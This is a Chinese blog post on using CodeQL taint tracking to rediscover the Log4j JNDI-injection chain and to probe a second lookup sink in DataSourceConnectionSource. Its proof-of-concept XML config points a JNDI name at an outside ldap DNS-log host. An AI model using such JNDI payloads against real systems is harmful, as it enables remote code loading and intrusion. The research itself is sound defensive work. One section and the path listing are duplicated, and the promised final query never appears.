写点什么

【安全漏洞】利用 CodeQL 分析并挖掘 Log4j 漏洞

作者:H
  • 2021 年 12 月 29 日
  • 本文字数:14236 字

    阅读完需:约 47 分钟

【安全漏洞】利用CodeQL分析并挖掘Log4j漏洞

前言

分析漏洞的本质是为了能让我们从中学习漏洞挖掘者的思路以及挖掘到新的漏洞,而 CodeQL 就是一款可以将我们对漏洞的理解快速转化为可实现的规则并挖掘漏洞的利器。根据网上的传言 Log4j2 的 RCE 漏洞就是作者通过 CodeQL 挖掘出的。虽然如何挖掘的我们不得而知,但我们现在站在事后的角度再去想想,可以推测一下作者如何通过 CodeQL 挖掘到漏洞的,并尝试基于作者的思路挖掘新漏洞。

分析过程

首先我们要构建 Log4j 的数据库,由于lgtm.com中构建的是新版本的 Log4j 数据库,所以只能手动构建数据库了。首先从 github 获取源码并切换到 2.14.1 版本。

git clone https://github.com/apache/logging-log4j2.gitgit checkout be881e5
复制代码

【点击查看学习资料】

由于我们这次分析的主要是log4j-corelog4j-api中的内容,所以打开根目录的 Pom.xml 注释下面的内容。

<modules>    <module>log4j-api-java9</module>    <module>log4j-api</module>    <module>log4j-core-java9</module>    <module>log4j-core</module>    <!-- <module>log4j-layout-template-json</module>    <module>log4j-core-its</module>    <module>log4j-1.2-api</module>    <module>log4j-slf4j-impl</module>    <module>log4j-slf4j18-impl</module>    <module>log4j-to-slf4j</module>    <module>log4j-jcl</module>    <module>log4j-flume-ng</module>    <module>log4j-taglib</module>    <module>log4j-jmx-gui</module>    <module>log4j-samples</module>    <module>log4j-bom</module>    <module>log4j-jdbc-dbcp2</module>    <module>log4j-jpa</module>    <module>log4j-couchdb</module>    <module>log4j-mongodb3</module>    <module>log4j-mongodb4</module>    <module>log4j-cassandra</module>    <module>log4j-web</module>    <module>log4j-perf</module>    <module>log4j-iostreams</module>    <module>log4j-jul</module>    <module>log4j-jpl</module>    <module>log4j-liquibase</module>    <module>log4j-appserver</module>    <module>log4j-osgi</module>    <module>log4j-docker</module>    <module>log4j-kubernetes</module>    <module>log4j-spring-boot</module>    <module>log4j-spring-cloud-config</module> -->  </modules>
复制代码

由于log4j-api-java9log4j-core- java9需要依赖 JDK9,所以要先下载 JDK9 并且在C:\Users\用户名\.m2\toolchains.xml中加上下面的内容。

<toolchains><toolchain>    <type>jdk</type>    <provides>      <version>9</version>      <vendor>sun</vendor>    </provides>    <configuration>      <jdkHome>C:\Program Files\Java\jdk-9.0.4</jdkHome>    </configuration>  </toolchain>  </toolchains>
复制代码

通过下面的命令完成数据库构建

CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"
复制代码

构建好数据库后,我们要找 JNDI 注入的漏洞,首先要确定在这套系统中调用了 InitialContext#lookup 方法。在LookupInterface项目中已经集成了常见的发起 JNDI 请求的类,只要稍微改一下即可。

首先定义 Context 类型,这个类中综合了可能发起 JNDI 请求的类。

class Context extends  RefType{    Context(){        this.hasQualifiedName("javax.naming", "Context")        or        this.hasQualifiedName("javax.naming", "InitialContext")        or        this.hasQualifiedName("org.springframework.jndi", "JndiCallback")        or         this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")        or        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")        or        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")        or        this.getQualifiedName().matches("%JndiCallback")        or        this.getQualifiedName().matches("%JndiLocatorDelegate")        or        this.getQualifiedName().matches("%JndiTemplate")    }}
复制代码

下面寻找那里调用了Context的 lookup 方法。

from Call call,Callable parseExpressionwhere    call.getCallee() = parseExpression and     parseExpression.getDeclaringType() instanceof Context and    parseExpression.hasName("lookup")select call
复制代码



  • DataSourceConnectionSource#createConnectionSource


@PluginFactory    public static DataSourceConnectionSource createConnectionSource(@PluginAttribute("jndiName") final String jndiName) {        if (Strings.isEmpty(jndiName)) {            LOGGER.error("No JNDI name provided.");            return null;        }        try {            final InitialContext context = new InitialContext();            final DataSource dataSource = (DataSource) context.lookup(jndiName);            if (dataSource == null) {                LOGGER.error("No data source found with JNDI name [" + jndiName + "].");                return null;            }            return new DataSourceConnectionSource(jndiName, dataSource);        } catch (final NamingException e) {            LOGGER.error(e.getMessage(), e);            return null;        }    }
复制代码


  • JndiManager#lookup

@SuppressWarnings("unchecked")    public <T> T lookup(final String name) throws NamingException {        return (T) this.context.lookup(name);    }
复制代码

找到 sink 后我们还需要找到 source,虽然 Codeql 定义了RemoteFlowSource支持多种 source,但是我们还是要根据实际的代码业务来分析可能作为 source 的点。

在 Log4j 作为日志记录的工具,除了从 HTTP 请求中获取输入点外,还可以在记录日志请求或者解析配置文件中来获取 source。先不看解析配置文件获取 source 的点了,因为这需要分析 Log4j 解析配置文件的流程比较复杂。所以目前我们只考虑通过日志记录作为 source 的情况。稍微了解 Log4j 的同学都知道,Log4j 会通过error/fatal/info/debug/trace等方法对不同级别的日志进行记录。通过分析我们可以看到我们输入的 message 都调用了logIfEnabled方法并作为第四个参数输入,所以可以将这里定义为 source。



下面使用全局污点追踪分析 JNDI 漏洞,还是套用LookupInterface项目中的代码,修改 source 部分即可。

/** *@name Tainttrack Context lookup *@kind path-problem */import javaimport semmle.code.java.dataflow.FlowSourcesimport DataFlow::PathGraphclass Context extends  RefType{    Context(){        this.hasQualifiedName("javax.naming", "Context")        or        this.hasQualifiedName("javax.naming", "InitialContext")        or        this.hasQualifiedName("org.springframework.jndi", "JndiCallback")        or         this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")        or        this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")        or        this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")        or        this.getQualifiedName().matches("%JndiCallback")        or        this.getQualifiedName().matches("%JndiLocatorDelegate")        or        this.getQualifiedName().matches("%JndiTemplate")    }}class Logger extends  RefType{    Logger(){        this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")    }}predicate isLookup(Expr arg) {    exists(MethodAccess ma |        ma.getMethod().getName() = "lookup"        and        ma.getMethod().getDeclaringType() instanceof Context        and        arg = ma.getArgument(0)    )}predicate isLogging(Expr arg) {    exists(MethodAccess ma |        ma.getMethod().getName() = "logIfEnabled"        and        ma.getMethod().getDeclaringType() instanceof Logger        and        arg = ma.getArgument(3)    )}class TainttrackLookup  extends TaintTracking::Configuration {    TainttrackLookup() {         this = "TainttrackLookup"     }
override predicate isSource(DataFlow::Node source) { exists(Expr exp | isLogging(exp) and source.asExpr() = exp ) }
override predicate isSink(DataFlow::Node sink) { exists(Expr arg | isLookup(arg) and sink.asExpr() = arg ) }} from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sinkwhere config.hasFlowPath(source, sink)select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
复制代码

虽然这些也得到了很多查询结果,但是在实际使用 Log4j 打印日志时可能不会带上 Marker 参数而是直接写入 messge 的内容。



所以我们现在要追踪的 source 应该是带有一个参数的error/fatal/info/debug/trace等方法。我这里以 error 方法为例对 source 部分进行修改。

class LoggerInput extends  Method {    LoggerInput(){        //限定调用的类名、方法名、以及方法只有一个参数        this.getDeclaringType() instanceof Logger and        this.hasName("error") and this.getNumberOfParameters() = 1    }    //将第一个参数作为source    Parameter getAnUntrustedParameter() { result = this.getParameter(0) }}override predicate isSource(DataFlow::Node source) {        exists(LoggerInput LoggerMethod |            source.asParameter() = LoggerMethod.getAnUntrustedParameter())    }
复制代码

这样我们就得到了多条链,现在我们要写个 Demo 验证这个链是否可行,比如最简单的logger.error("xxxxx");

1   message : Message   AbstractLogger.java:709:232   message : Message   AbstractLogger.java:710:473   message : Message   AbstractLogger.java:1833:894   message : Message   AbstractLogger.java:1835:385   message : Message   Logger.java:262:706   message : Message   Logger.java:263:527   msg : Message   Logger.java:617:648   msg : Message   Logger.java:620:789   msg : Message   RegexFilter.java:73:8710  msg : Message   RegexFilter.java:78:63...64  convertJndiName(...) : String   JndiLookup.java:54:3365  jndiName : String   JndiLookup.java:56:5666  name : String   JndiManager.java:171:2567  name    JndiManager.java:172:40Path
复制代码

但是这条链只有配置了 Filter 为RegexFilter才会继续执行,而默认没有配置则为空。



所以这种方式就稍微有些限制,所以我们再去看看其他链。这条链似乎不用配置 Filter。

1   message : Message   AbstractLogger.java:709:232   message : Message   AbstractLogger.java:710:473   message : Message   AbstractLogger.java:1833:894   message : Message   AbstractLogger.java:1836:515   message : Message   AbstractLogger.java:2139:946   message : Message   AbstractLogger.java:2142:597   message : Message   AbstractLogger.java:2155:438   message : Message   AbstractLogger.java:2159:679   message : Message   AbstractLogger.java:2202:3210  message : Message   AbstractLogger.java:2205:4811  message : Message   AbstractLogger.java:2116:912  message : Message   AbstractLogger.java:2117:41...78  var : String    Interpolator.java:230:9279  key : String    JndiLookup.java:50:4880  key : String    JndiLookup.java:54:4981  jndiName : String   JndiLookup.java:70:3682  jndiName : String   JndiLookup.java:74:1683  convertJndiName(...) : String   JndiLookup.java:54:3384  jndiName : String   JndiLookup.java:56:5685  name : String   JndiManager.java:171:2586  name    JndiManager.java:172:40
复制代码

但是在AbstractLogger#tryLogMessage中 Codeql 会直接分析到AbstractLogger#log而实际请求时会解析到Logger#log方法。这是因为LoggerAbstractLogger的子类并且也实现了 log 方法,而且我们实例化的也是 Logger 对象,所以这里会调用到Logger#log

实际请求



CodeQL 分析



再看看下面这条链

1   message : Message   AbstractLogger.java:709:232   message : Message   AbstractLogger.java:710:473   message : Message   AbstractLogger.java:1833:894   message : Message   AbstractLogger.java:1836:515   message : Message   AbstractLogger.java:2139:946   message : Message   AbstractLogger.java:2142:597   message : Message   AbstractLogger.java:2155:438   message : Message   AbstractLogger.java:2159:679   message : Message   AbstractLogger.java:2202:3210  message : Message   AbstractLogger.java:2205:4811  message : Message   Logger.java:158:912  message : Message   Logger.java:162:1713  data : Message  AwaitCompletionReliabilityStrategy.java:78:8314  data : Message  AwaitCompletionReliabilityStrategy.java:82:6715  data : Message  LoggerConfig.java:430:2816  data : Message  LoggerConfig.java:454:1717  message : Message   ReusableLogEventFactory.java:78:8618  message : Message   ReusableLogEventFactory.java:100:2719  msg : Message   MutableLogEvent.java:209:2820  (...)... : Message  MutableLogEvent.java:211:4621  reusable : Message  MutableLogEvent.java:212:1322  parameter this : Message    ReusableObjectMessage.java:47:1723  obj : Object    ReusableObjectMessage.java:48:44...88  convertJndiName(...) : String   JndiLookup.java:54:3389  jndiName : String   JndiLookup.java:56:5690  name : String   JndiManager.java:171:2591  name    JndiManager.java:172:40
复制代码

这条链在执行到MutableLogEvent#setMessage时和 CodeQL 的分析结果略有不同。



在 CodeQL 中resusable.formatTo会调用到ReusableObjectMessage中。


但是实际运行过程中由于 MessgeFactorty 创建 Message 对象时默认创建的是ResableSimpleMessage对象,所以会执行到ResableSimpleMessage#formatTo方法。




所以似乎目前使用使用 CodeQL 的规则是发现不了 Log4jShell 那个漏洞的,既然我们已经知道了这个漏洞的触发链,可以分析下 CodeQL 为什么没有分析出来。

通过之前对 CodeQL 检测出的调用链分析,CodeQL 已经分析到了 createEvent 方法。



查看 createEvent 方法的调用,在Log4jShell的触发链中实际上是在对返回 LogEvent 的处理过程中触发的,所以这里 CodeQL 可能没有将返回的 LogEvent 对象再当作污点进行分析,所以导致没有分析成功。



我们可以创建一个isAdditionalTaintStep函数,将ReusableLogEventFactory#createEvent的第六个参数 Message 和LoggerConfig#log第一个参数logEvent连接起来。

override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {        exists(MethodAccess ma,MethodAccess ma2 |            ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")             and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")              and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0)                    )      }
复制代码

最后我们就可以通过 CodeQL 分析到 Log4j shell 漏洞的调用链。

1   message : Message   AbstractLogger.java:709:232   message : Message   AbstractLogger.java:710:473   message : Message   AbstractLogger.java:1833:894   message : Message   AbstractLogger.java:1836:515   message : Message   AbstractLogger.java:2139:946   message : Message   AbstractLogger.java:2142:597   message : Message   AbstractLogger.java:2155:438   message : Message   AbstractLogger.java:2159:679   message : Message   AbstractLogger.java:2202:3210  message : Message   AbstractLogger.java:2205:4811  message : Message   Logger.java:158:912  message : Message   Logger.java:162:1713  data : Message  DefaultReliabilityStrategy.java:61:8314  data : Message  DefaultReliabilityStrategy.java:63:6915  data : Message  LoggerConfig.java:430:2816  data : Message  LoggerConfig.java:454:9617  message : Message   ReusableLogEventFactory.java:58:4718  message : Message   ReusableLogEventFactory.java:60:6719  event : LogEvent    LoggerConfig.java:469:1320  event : LogEvent    LoggerConfig.java:479:2421  event : LogEvent    LoggerConfig.java:481:2922  event : LogEvent    LoggerConfig.java:495:3423  event : LogEvent    LoggerConfig.java:498:2724  event : LogEvent    LoggerConfig.java:536:3425  event : LogEvent    LoggerConfig.java:540:3826  event : LogEvent    AppenderControl.java:80:3027  event : LogEvent    AppenderControl.java:84:3828  event : LogEvent    AppenderControl.java:117:4729  event : LogEvent    AppenderControl.java:120:2730  event : LogEvent    AppenderControl.java:126:3231  event : LogEvent    AppenderControl.java:129:2932  event : LogEvent    AppenderControl.java:154:3433  event : LogEvent    AppenderControl.java:156:2934  event : LogEvent    AbstractDatabaseAppender.java:107:3035  event : LogEvent    AbstractDatabaseAppender.java:110:3736  event : LogEvent    AbstractDatabaseManager.java:260:4237  event : LogEvent    AbstractDatabaseManager.java:262:2038  event : LogEvent    AbstractDatabaseManager.java:122:2739  event : LogEvent    AbstractDatabaseManager.java:123:2540  parameter this : LogEvent   Log4jLogEvent.java:530:2641  this : LogEvent     Log4jLogEvent.java:534:1642  toImmutable(...) : LogEvent     AbstractDatabaseManager.java:123:2543  this.buffer [post update] [<element>] : LogEvent    AbstractDatabaseManager.java:123:944  this [post update] [buffer, <element>] : LogEvent   AbstractDatabaseManager.java:123:945  this <.method> [post update] [buffer, <element>] : LogEvent     AbstractDatabaseManager.java:262:1346  getManager(...) [post update] [buffer, <element>] : LogEvent    AbstractDatabaseAppender.java:110:1347  this [post update] [manager, buffer, <element>] : LogEvent  AbstractDatabaseAppender.java:110:1348  appender [post update] [manager, buffer, <element>] : LogEvent  AppenderControl.java:156:1349  this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent   AppenderControl.java:156:1350  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:129:1351  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:120:1352  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:84:953  event : LogEvent    AppenderControl.java:80:3054  event : LogEvent    AppenderControl.java:84:3855  event : LogEvent    AppenderControl.java:117:4756  event : LogEvent    AppenderControl.java:120:2757  event : LogEvent    AppenderControl.java:126:3258  event : LogEvent    AppenderControl.java:129:2959  event : LogEvent    AppenderControl.java:154:3460  event : LogEvent    AppenderControl.java:156:2961  event : LogEvent    AbstractOutputStreamAppender.java:179:2462  event : LogEvent    AbstractOutputStreamAppender.java:181:2363  event : LogEvent    AbstractOutputStreamAppender.java:188:2864  event : LogEvent    AbstractOutputStreamAppender.java:190:3165  event : LogEvent    AbstractOutputStreamAppender.java:196:3866  event : LogEvent    AbstractOutputStreamAppender.java:197:2867  event : LogEvent    GelfLayout.java:433:2468  event : LogEvent    GelfLayout.java:438:4369  event : LogEvent    GelfLayout.java:471:3470  event : LogEvent    GelfLayout.java:496:4671  event : LogEvent    StrSubstitutor.java:462:2772  event : LogEvent    StrSubstitutor.java:467:2573  event : LogEvent    StrSubstitutor.java:911:3474  event : LogEvent    StrSubstitutor.java:912:2775  event : LogEvent    StrSubstitutor.java:928:2876  event : LogEvent    StrSubstitutor.java:978:4477  event : LogEvent    StrSubstitutor.java:911:3478  event : LogEvent    StrSubstitutor.java:912:2779  event : LogEvent    StrSubstitutor.java:928:2880  event : LogEvent    StrSubstitutor.java:1033:6381  event : LogEvent    StrSubstitutor.java:1104:3882  event : LogEvent    StrSubstitutor.java:1110:3283  event : LogEvent    StructuredDataLookup.java:46:2684  event : LogEvent    StructuredDataLookup.java:50:6785  parameter this : LogEvent   RingBufferLogEvent.java:206:2086  message : Message   RingBufferLogEvent.java:210:1687  getMessage(...) : Message   StructuredDataLookup.java:50:6788  (...)... : Message  StructuredDataLookup.java:50:4389  msg : Message   StructuredDataLookup.java:54:2090  parameter this : Message    StructuredDataMessage.java:239:1991  type : String   StructuredDataMessage.java:240:1692  getType(...) : String   StructuredDataLookup.java:54:2093  lookup(...) : String    StrSubstitutor.java:1110:1694  resolveVariable(...) : String   StrSubstitutor.java:1033:4795  varValue : String   StrSubstitutor.java:1040:6396  buf [post update] : StringBuilder   StrSubstitutor.java:1040:3397  buf [post update] : StringBuilder   StrSubstitutor.java:912:3498  bufName [post update] : StringBuilder   StrSubstitutor.java:978:5199  bufName : StringBuilder     StrSubstitutor.java:979:47100 toString(...) : String  StrSubstitutor.java:979:47101 varNameExpr : String    StrSubstitutor.java:1010:55102 substring(...) : String     StrSubstitutor.java:1010:55103 varName : String    StrSubstitutor.java:1033:70104 variableName : String   StrSubstitutor.java:1104:60105 variableName : String   StrSubstitutor.java:1110:39106 key : String    JndiLookup.java:50:48107 key : String    JndiLookup.java:54:49108 jndiName : String   JndiLookup.java:70:36109 ... + ... : String  JndiLookup.java:72:20110 convertJndiName(...) : String   JndiLookup.java:54:33111 jndiName : String   JndiLookup.java:56:56112 name : String   JndiManager.java:171:25113 name    JndiManager.java:172:40
复制代码

漏洞挖掘尝试

通过上面的分析可以看到,挖掘到所有的链最终的触发点都是 JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource中也直接调用了 lookup 方法,我们能否通过某种方式触发呢?

通过注释可以看到 DataSource 是 Core 类型插件,因此可以在 XML 中直接通过标签配置调用。



<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>        </Console>    </Appenders>    <DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org.">    </DataSource>    <Loggers>        <Root level="ERROR">            <AppenderRef ref="Console"/>        </Root>    </Loggers></Configuration>
复制代码

配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成 JNDI 注入,但是需要在配置文件中修改参数才能触发,所以价值不大。


最后给出整体的分析 Log4j JNDI 注入的 CodeQL 查询代码

1   message : Message   AbstractLogger.java:709:232   message : Message   AbstractLogger.java:710:473   message : Message   AbstractLogger.java:1833:894   message : Message   AbstractLogger.java:1836:515   message : Message   AbstractLogger.java:2139:946   message : Message   AbstractLogger.java:2142:597   message : Message   AbstractLogger.java:2155:438   message : Message   AbstractLogger.java:2159:679   message : Message   AbstractLogger.java:2202:3210  message : Message   AbstractLogger.java:2205:4811  message : Message   Logger.java:158:912  message : Message   Logger.java:162:1713  data : Message  DefaultReliabilityStrategy.java:61:8314  data : Message  DefaultReliabilityStrategy.java:63:6915  data : Message  LoggerConfig.java:430:2816  data : Message  LoggerConfig.java:454:9617  message : Message   ReusableLogEventFactory.java:58:4718  message : Message   ReusableLogEventFactory.java:60:6719  event : LogEvent    LoggerConfig.java:469:1320  event : LogEvent    LoggerConfig.java:479:2421  event : LogEvent    LoggerConfig.java:481:2922  event : LogEvent    LoggerConfig.java:495:3423  event : LogEvent    LoggerConfig.java:498:2724  event : LogEvent    LoggerConfig.java:536:3425  event : LogEvent    LoggerConfig.java:540:3826  event : LogEvent    AppenderControl.java:80:3027  event : LogEvent    AppenderControl.java:84:3828  event : LogEvent    AppenderControl.java:117:4729  event : LogEvent    AppenderControl.java:120:2730  event : LogEvent    AppenderControl.java:126:3231  event : LogEvent    AppenderControl.java:129:2932  event : LogEvent    AppenderControl.java:154:3433  event : LogEvent    AppenderControl.java:156:2934  event : LogEvent    AbstractDatabaseAppender.java:107:3035  event : LogEvent    AbstractDatabaseAppender.java:110:3736  event : LogEvent    AbstractDatabaseManager.java:260:4237  event : LogEvent    AbstractDatabaseManager.java:262:2038  event : LogEvent    AbstractDatabaseManager.java:122:2739  event : LogEvent    AbstractDatabaseManager.java:123:2540  parameter this : LogEvent   Log4jLogEvent.java:530:2641  this : LogEvent     Log4jLogEvent.java:534:1642  toImmutable(...) : LogEvent     AbstractDatabaseManager.java:123:2543  this.buffer [post update] [<element>] : LogEvent    AbstractDatabaseManager.java:123:944  this [post update] [buffer, <element>] : LogEvent   AbstractDatabaseManager.java:123:945  this <.method> [post update] [buffer, <element>] : LogEvent     AbstractDatabaseManager.java:262:1346  getManager(...) [post update] [buffer, <element>] : LogEvent    AbstractDatabaseAppender.java:110:1347  this [post update] [manager, buffer, <element>] : LogEvent  AbstractDatabaseAppender.java:110:1348  appender [post update] [manager, buffer, <element>] : LogEvent  AppenderControl.java:156:1349  this <.field> [post update] [appender, manager, buffer, <element>] : LogEvent   AppenderControl.java:156:1350  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:129:1351  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:120:1352  this <.method> [post update] [appender, manager, buffer, <element>] : LogEvent  AppenderControl.java:84:953  event : LogEvent    AppenderControl.java:80:3054  event : LogEvent    AppenderControl.java:84:3855  event : LogEvent    AppenderControl.java:117:4756  event : LogEvent    AppenderControl.java:120:2757  event : LogEvent    AppenderControl.java:126:3258  event : LogEvent    AppenderControl.java:129:2959  event : LogEvent    AppenderControl.java:154:3460  event : LogEvent    AppenderControl.java:156:2961  event : LogEvent    AbstractOutputStreamAppender.java:179:2462  event : LogEvent    AbstractOutputStreamAppender.java:181:2363  event : LogEvent    AbstractOutputStreamAppender.java:188:2864  event : LogEvent    AbstractOutputStreamAppender.java:190:3165  event : LogEvent    AbstractOutputStreamAppender.java:196:3866  event : LogEvent    AbstractOutputStreamAppender.java:197:2867  event : LogEvent    GelfLayout.java:433:2468  event : LogEvent    GelfLayout.java:438:4369  event : LogEvent    GelfLayout.java:471:3470  event : LogEvent    GelfLayout.java:496:4671  event : LogEvent    StrSubstitutor.java:462:2772  event : LogEvent    StrSubstitutor.java:467:2573  event : LogEvent    StrSubstitutor.java:911:3474  event : LogEvent    StrSubstitutor.java:912:2775  event : LogEvent    StrSubstitutor.java:928:2876  event : LogEvent    StrSubstitutor.java:978:4477  event : LogEvent    StrSubstitutor.java:911:3478  event : LogEvent    StrSubstitutor.java:912:2779  event : LogEvent    StrSubstitutor.java:928:2880  event : LogEvent    StrSubstitutor.java:1033:6381  event : LogEvent    StrSubstitutor.java:1104:3882  event : LogEvent    StrSubstitutor.java:1110:3283  event : LogEvent    StructuredDataLookup.java:46:2684  event : LogEvent    StructuredDataLookup.java:50:6785  parameter this : LogEvent   RingBufferLogEvent.java:206:2086  message : Message   RingBufferLogEvent.java:210:1687  getMessage(...) : Message   StructuredDataLookup.java:50:6788  (...)... : Message  StructuredDataLookup.java:50:4389  msg : Message   StructuredDataLookup.java:54:2090  parameter this : Message    StructuredDataMessage.java:239:1991  type : String   StructuredDataMessage.java:240:1692  getType(...) : String   StructuredDataLookup.java:54:2093  lookup(...) : String    StrSubstitutor.java:1110:1694  resolveVariable(...) : String   StrSubstitutor.java:1033:4795  varValue : String   StrSubstitutor.java:1040:6396  buf [post update] : StringBuilder   StrSubstitutor.java:1040:3397  buf [post update] : StringBuilder   StrSubstitutor.java:912:3498  bufName [post update] : StringBuilder   StrSubstitutor.java:978:5199  bufName : StringBuilder     StrSubstitutor.java:979:47100 toString(...) : String  StrSubstitutor.java:979:47101 varNameExpr : String    StrSubstitutor.java:1010:55102 substring(...) : String     StrSubstitutor.java:1010:55103 varName : String    StrSubstitutor.java:1033:70104 variableName : String   StrSubstitutor.java:1104:60105 variableName : String   StrSubstitutor.java:1110:39106 key : String    JndiLookup.java:50:48107 key : String    JndiLookup.java:54:49108 jndiName : String   JndiLookup.java:70:36109 ... + ... : String  JndiLookup.java:72:20110 convertJndiName(...) : String   JndiLookup.java:54:33111 jndiName : String   JndiLookup.java:56:56112 name : String   JndiManager.java:171:25113 name    JndiManager.java:172:40
复制代码

私信回复“资料”获取 log4j 的分享及修复资料·教程

漏洞挖掘尝试

通过上面的分析可以看到,挖掘到所有的链最终的触发点都是 JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource中也直接调用了 lookup 方法,我们能否通过某种方式触发呢?

通过注释可以看到 DataSource 是 Core 类型插件,因此可以在 XML 中直接通过标签配置调用。



<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>        </Console>    </Appenders>    <DataSource jndiName="ldap://9b89e78d.dns.1433.eu.org.">    </DataSource>    <Loggers>        <Root level="ERROR">            <AppenderRef ref="Console"/>        </Root>    </Loggers></Configuration>
复制代码

配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成 JNDI 注入,但是需要在配置文件中修改参数才能触发,所以价值不大。



最后给出整体的分析 Log4j JNDI 注入的 CodeQL 查询代码

用户头像

H

关注

还未添加个人签名 2021.08.04 加入

还未添加个人简介

评论

发布
暂无评论
【安全漏洞】利用CodeQL分析并挖掘Log4j漏洞